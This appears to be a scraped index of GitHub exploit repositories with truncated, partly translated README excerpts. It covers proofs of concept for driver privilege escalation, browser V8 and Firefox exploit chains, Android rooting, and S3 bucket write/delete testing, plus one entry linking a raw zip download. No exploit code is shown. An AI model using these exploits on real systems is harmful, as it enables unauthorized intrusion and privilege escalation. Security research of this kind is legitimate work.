smbeagle

/ \ / // / / / // / / / / / ///\ / / / / / / / / / / / / / / // / / / / , / / / // // / / / / // // / // ,// ///||////,// ///, / PRESENTS // SMBeagle SMBeagle is a cross-platform SMB fileshare auditing tool that hunts out all files it can see in the network and reports if the file can be...

CVE-2021-31728

CVE-2021-31727 和 CVE-2021-31728 CVE-2021-31727 的公开参考 暴露无限制的磁盘读/写能力。 CVE-2021-31728 的公开参考 直接暴露任意 ring 0 代码执行。 致谢 Lima X 帮助提供了 SystemBigPoolInformation 思路。...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651 的 PoC 需要 Python3，已在 3.8 上测试 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optional arguments:...

ZDI-CAN-16318

CVE-2023-32162（ZDI-CAN-16318）0-day 漏洞利用程序 此处可查看我的本地权限提升漏洞 报告。 此处可查看我的任意文件读取漏洞 报告。 此处可查看我的任意文件读取/写入漏洞 报告。 此处可以请我喝杯独角兽 🦄 分享知识！...

CVE-2026-43499-S25U

CVE-2026-43499 PoC 针对 Galaxy S25 Ultra 针对韩国三星 Galaxy S25 Ultra 上 CVE-2026-43499 的设备特定概念验证。 支持的目标设备 Model: SM-S938N Codename: pa3q Android: 16 / API 36 Build: S938NKSUACZF1 Display ID: BP4A.251205.006.S938NKSUACZF1 Fingerprint:...

CVE-2022-3699

CVE-2022-3699 联想诊断驱动程序的访问控制不正确，允许低权限用户发出设备IOCTL，以执行任意物理/虚拟内存读写。 感谢ch3rn0byl的帮助（我100%完全借鉴了他的两个函数）。 说明 IOCTL 0x222000: rdmsr IOCTL 0x222008/0x22200C: HalGet/SetBusData IOCTL 0x222010: Read via MmMapIoSpace IOCTL 0x222014: Write via MmMapIoSpace 此IOCTL将从输入缓冲区提供的指针的值复制到映射的物理内存中 工作原理：...

cve-2019-2215_SH-M08

2019年10月之前的安全补丁的Android终端上获取root权限的概念证明代码的AQUOS sense 2（SH-M08）移植版。 运行环境 已验证以下OS版本可以运行。在其它版本或其它机型上运行时，请按照“移植方法”章节进行移植。 ro.build.date: 2019年 3月 20日 水曜日 04:58:03 JST ro.build.description: Anasui-user 8.1.0 S3200 01.00.02 release-keys ro.build.display.id:...

CVE-2024-5274

CVE-2024-5274 autores: @mistymntncop, @buptsb Reconocimiento a @buptsb por su gran contribución al descubrir tanto el POC de discrepancia de bytecode DCHECK como el descubrimiento de cómo elevar esa primitiva a primitivas más potentes de lectura/escritura fuera de límites OOB. Sin él, este exploi...

oob_entry

oobentry：授权iOS内核漏洞研究，用于tfp0访问 访问发布页面：https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip 一个供研究人员在实验室环境中以冷静、谨慎的方式记录、讨论和分享关于与tfp0访问相关的iOS内核概念的空间。本仓库专注于治理、伦理以及可重复的、授权的实验室研究。它不提供即用型的漏洞利用步骤、分发渠道或可能促成未授权访问的指令。目标是促进负责任的学习、开放的讨论以及严谨、合法的测试实践。 目录 概述 目标与伦理 本项目涵盖的内容 安全、授权的研究工作流...

s3sec

s3sec 测试AWS S3存储桶的读/写/删除访问权限 该工具用于快速测试一系列S3存储桶的公开读、写和删除访问权限，适用于漏洞赏金计划中的渗透测试。 截图 使用此工具发现了漏洞赏金？欢迎加我作为协作者：@0xmoot : 安装 将git仓库克隆到本地机器： git clone https://github.com/0xmoot/s3sec 祝狩猎愉快 : 使用 检查单个S3实例： echo "test-instance.s3.amazonaws.com" | python3 s3sec.py 或者： echo "test-instance" | python3 s3sec.py...

CVE-2025-6554

CVE-2025-6554 此仓库包含 此仓库构建并证明了 addressof 和 fakeobj 原语，以及在 V8 沙箱中的任意地址读/写原语。 复现信息 提交: 609a85c2a1bd77d6f6905369f4bc4fcf34c5db09 命令行: out\x64.release\d8 --allow-natives-syntax 致谢 感谢 @DarkNavyOrg 发现该 PoC。 感谢 qianxin 针对此漏洞撰写了详细分析。 感谢 mistymntncop 找到了利用方法。 感谢 @bjrjk 提供的帮助。 参考 1...

CVE-2021-21551

CVE-2021-21551 Prueba de concepto del exploit para CVE-2021-21551. La vulnerabilidad se debe a que las direcciones proporcionadas por el usuario se pasan como argumentos a una llamada a memmove, lo que permite una lectura/escritura arbitraria ioctls 0x9B0C1EC4 y 0x9B0C1EC8, así como el parámetro ...

mtkclient

Language: 🇺🇸 🇨🇳 MTKClient 这是一款用于联发科芯片的调试工具，支持读写分区、利用漏洞对设备进行底层操作。 在Windows系统下使用需要安装MTK串口驱动和UsbDk驱动 详见下方说明。 在Linux系统下，如果你使用的是旧版的kamakiri内核则需要使用内核补丁 参见Setup目录，但读写分区等操作则不需要补丁。 打开 MTKClient, 在设备完全关机的情况下按住音量上键+电源键或音量下键+电源键进入Brom模式，待工具检测到设备后松手。 MT6781, MT6789, MT6855, MT6886, MT6895, MT6983, MT8985...

CVE-2018-17463

CVE-2018-17463 完成了一个针对CVE-2018-17463的可工作利用，纯粹为了好玩。 我找到的关于此漏洞的原始文章在此 http://phrack.org/papers/jitexploitation.html。我只是想把这个任意读写变成完整的可利用漏洞。 此外，我还从以下论文中学习了JIT spray技术，这是一篇有趣的读物。 @inproceedingsgawlik2018sok, title=Sok: Make jit-spray great again, author=Gawlik, Robert and Holz, Thorsten, booktitle=12t...

CVE-2025-5419

CVE-2025-5419 由不正确的Turboshaft Store-Store Elimination引起的V8中未初始化的读取漏洞。 该仓库包含分析和稳定化的利用，以提升此漏洞，实现V8沙箱内的任意读/写、AddressOf和FakeObject原语。 分析：CVE-2025-5419.pdf 复现信息 操作系统：Ubuntu 24.04 Git 提交：609a85c2a1bd77d6f6905369f4bc4fcf34c5db09 致谢 特别感谢 Clement Lecigne @clem1 和 Benoît Sevens @benoitsevens 发现该漏洞。 特别感谢...

CVE-2019-9791

Cadena de exploits para CVE-2019-9791 y CVE-2019-11708 contra Firefox 65.0 Funciona contra Firefox 65.0 en Windows 64 bits. La parte de CVE-2019-11708 está tomada del exploit de 0vercl0k: https://github.com/0vercl0k/CVE-2019-11708 El exploit utiliza CVE-2019-9791 para obtener una primitiva de...

lenovo-dispatcher-poc

Lenovo Dispatcher PoC Este es un concepto básico de prueba para explotar el controlador dispatcher de Lenovo LnvMSRIO.sys CVE-2025-8061. Vulnerabilidades encontradas por Luis Casvella fuente: https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061.html. La idea principal de este PoC es...

cve-2019-2215

CVE-2019-2215 Pixel 2 和 Pixel 2 XL 的临时 Root（利用 CVE-2019-2215） （基于 Google Project Zero 的 Jann Horn 和 Maddie Stone 的 概念验证） 概述 演示一种仅通过内核内存读/写实现权限提升的攻击，最终获得临时 root shell。 该工具在 Google Pixel 2 / Pixel 2 XL（walleye/taimen）设备上运行，系统镜像为 2019 年 9 月的 QP1A.190711.020，内核版本-BuildID 4.4.177-g83bee1dc48e8 。...

CVE-2024-2887-REPORT

SSD 咨询 – Google Chrome 远程代码执行（RCE） 来源：ssd-disclosure.com/ssd-advisory-google-chrome-rce 摘要 Google Chrome（123 及更早版本）中存在一个严重的远程代码执行漏洞，影响 WebAssembly WASM 垃圾回收类型处理。该漏洞允许类型混淆，进而可升级为任意内存读写并最终实现代码执行。 漏洞详情 该漏洞源于 WASM 等递归 规范类型 ID 与 JavaScript 到 WASM 转换函数中使用的 wasm::HeapType / wasm::ValueType 表示之间的混淆。...

CVE-2019-9702_Symantec_Encryption_Desktop_LPE_PoC

PoC de escalada de privilegios local en Symantec Encryption Desktop PGPwded.sys Este repositorio contiene una prueba de concepto para una vía de escalada de privilegios local en el filtro de almacenamiento PGPwded.sys de Symantec Encryption Desktop, basada en una primitiva de lectura/escritura...